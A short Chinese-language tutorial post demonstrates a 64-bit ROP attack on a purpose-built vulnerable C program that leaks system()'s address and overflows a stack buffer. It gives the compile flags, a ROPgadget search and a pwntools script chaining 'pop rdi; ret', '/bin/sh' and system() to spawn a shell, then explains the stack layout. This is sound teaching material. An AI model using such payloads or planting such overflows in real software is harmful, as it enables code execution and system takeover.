下面来举一个简单的ROP攻击技术的例子
#include<stdio.h>
#include<unistd.h>
#include<dlfcn.h>
void vuln_func(){
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char *argv[]){
void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
printf("%p\n", dlsym(handle, "system"));
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}
gcc -fno-stack-protector -z noexecstack -pie -fpie ROP64.c -ldl -o ROP64
ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" | grep rdi
rsp, rbp相差128字节
exp脚本
from pwn import *
io = process('./ROP64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
system_addr = int(io.recvline(), 16)
libc_addr = system_addr - libc.sym['system']
binsh_addr = libc_addr + next(libc.search('/bin/sh'))
pop_rdi_addr = libc_addr + 0x0000000000026796
payload = "A" * 136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
解释
通常先泄漏运行程序的system地址, 拿到偏移量libc_addr, 根据本地libc搜索/bin/sh的地址, 加上偏移量, 得到binsh_addr即目标程序的/bin/sh地址, 偏移量+本地pop_rdi的地址就是目标程序pop_rdi_addr地址, 栈溢出劫持执行流到pop_rdi_addr, 执行pop rdi, ret.
ret执行相当于pop rip, 此时rsp所在位置是覆盖了binsh_addr和system_addr, 所以相当于rdi参数传递’/bin/sh’, 返回到system函数位置执行, 所以就是执行system(’/bin/sh’), 拿到shell~
(一开始我也不理解, 后来把栈结构画出来, 脑内模拟执行流, 就全部弄清楚了. cheers!!!~
拿到shell